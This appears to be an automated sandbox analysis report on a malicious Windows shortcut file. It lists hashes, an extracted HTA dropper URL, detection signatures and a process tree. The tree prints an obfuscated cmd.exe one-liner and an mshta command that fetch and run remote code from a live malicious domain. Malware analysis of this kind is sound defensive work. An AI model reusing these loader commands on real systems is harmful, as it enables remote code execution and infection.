Analysis

  • max time kernel
    148s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:12

General

  • Target
    DOC-P99KYJ.lnk
  • Size 2KB
  • Sample260803-qfsltaaa66
  • SHA256 e54237aa10321ecae09ed3f08e8c0d0fb81a9126a137078e79c0cef558c55231
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://br-adobe.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-P99KYJ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set kTcT=dbgzrbzlvcqkqmapgmhndbg&&set xFbtE=dbgdhnqidbg&&set wJr=oldzhtjjdiourzvgkjmrold&&set tYBsh=oldjpwdscahold&&set lEH=nms5&&set puUv=6dzhty&&set VVepU=daj&&set QFwOu=infwwlginf&&set TGZt=tmpfpupzdcnovtmp&&set uTNA=5stubd&&set txed=45ar1dw&&set ZHD=tt9n&&set REq=cfgnjbkhsqdeptkcfg&&set WVqC=h@ttps:@//br@-a@do@be.@la@t@/h/esta@g@io1.@ph@p?r=@3@6@0761F@1@57@94&&start /b !lEH:~1,2!!puUv:~3,2!!VVepU:~1,1! !WVqC:@=!&&set akd=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\System32\mshta.exe
        mshta https://br-adobe.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:4064

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads